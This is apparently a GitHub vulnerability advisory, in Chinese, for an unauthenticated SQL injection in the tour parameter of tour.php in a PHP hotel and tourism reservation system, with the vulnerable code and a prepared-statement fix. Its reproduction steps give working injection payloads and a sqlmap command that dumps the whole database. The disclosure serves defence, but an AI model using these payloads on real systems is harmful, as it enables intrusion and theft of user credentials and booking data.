Xmyronn/CVE-2026-10290-SQLI

GitHub: Xmyronn/CVE-2026-10290-SQLI

针对酒店与旅游预订系统 tour.php 中未授权 SQL 注入漏洞(CVSS 9.8)的完整安全研究报告,包含漏洞详情、复现步骤及修复方案。

Stars: 0 | Forks: 0

# 酒店与旅游预订系统 - tour.php 中的未授权 SQL 注入 ## 漏洞详情 | 字段 | 详情 | |-------|---------| | **标题** | 酒店与旅游预订系统 - 通过 `tour` GET 参数导致的 SQL Injection | | **供应商** | code-projects.org | | **供应商 URL** | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ | | **产品** | 酒店与旅游预订系统 | | **版本** | 1.0 | | **漏洞类型** | SQL Injection | | **CWE** | CWE-89 | | **CVSS 评分** | 9.8 (严重) | | **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | **受影响文件** | `/ht/tour.php` | | **受影响参数** | `tour` (GET) | | **需要认证** | 否 | | **可远程利用** | 是 | | **研究员** | Syed Imad Uddin Alvi | ## 描述 酒店与旅游预订系统 1.0 的 `tour.php` 中的 `tour` GET 参数存在严重的 SQL Injection 漏洞。该参数被直接传递到原始 SQL 查询中,没有任何过滤、没有使用 prepared statements,也没有进行输入验证。未经认证的远程攻击者可以操纵查询来提取、修改或删除数据库中的任何数据。该漏洞已通过使用 sqlmap 进行完整的数据库转储得到确认。 **`tour.php` 中的易受攻击代码:** ``` if(isset($_GET['tour'])) { $tourID = $_GET['tour']; $select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' "); $s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' "); $data = mysqli_fetch_assoc($s); ``` `$tourID` 直接从 `$_GET['tour']` 获取,并直接插入到 SQL 查询中,完全没有进行任何过滤。 ## 复现步骤 **设置:** 在 XAMPP 上安装酒店与旅游预订系统 1.0,并通过 `http:///ht/` 访问 **第 1 步 — 以未授权用户身份访问任意旅游页面:** ``` http:///ht/tour.php?tour=4 ``` Screenshot 2026-05-12 001635 **第 2 步 — 注入单引号以中断 SQL 查询并确认漏洞:** ``` http:///ht/tour.php?tour=' ``` **结果:** 抛出致命的 MySQL 错误 — 证实未过滤的输入已进入 SQL 查询。 Screenshot 2026-05-12 001643 **第 3 步 — 使用基于布尔的 payload 确认 SQLi:** ``` http:///ht/tour.php?tour=' or 1=1 -- - ``` **结果:** 页面正常加载并显示旅游数据 — 布尔注入成功。 Screenshot 2026-05-12 001654 **第 4 步 — 使用 sqlmap 转储整个数据库:** ``` sqlmap -r sqli.txt --dump --batch ``` **结果:** sqlmap 成功转储 `hotel_db` 中的所有表,包括 `users`、`rooms`、`tour_reserves`、`gallery` — 确认数据库被完全攻陷。 Screenshot 2026-05-12 001722 ## 影响 未经认证的远程攻击者可以: - 从数据库中提取所有数据,包括用户凭据、电子邮件、电话号码和预订详情 - 通过提取管理员凭据绕过身份验证 - 修改或删除任何数据库记录 - 如果授予了文件权限,可能通过 `INTO OUTFILE` 实现远程代码执行 ## 根本原因 `tour` GET 参数被直接插入到原始 SQL 查询中,没有使用 prepared statements、参数化查询或输入过滤: ``` // VULNERABLE $tourID = $_GET['tour']; $select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' "); // FIXED — use prepared statements $stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?"); $stmt->bind_param("i", $_GET['tour']); $stmt->execute(); ``` ## 参考 - [CWE-89: SQL 命令中使用的特殊元素的不正确中和](https://cwe.mitre.org/data/definitions/89.html) - [OWASP: SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) - [酒店与旅游预订系统 — code-projects.org](https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/) ## 发现者 **Syed Imad Uddin Alvi** — 独立安全研究员
标签:CISA项目, Web安全, 蓝队分析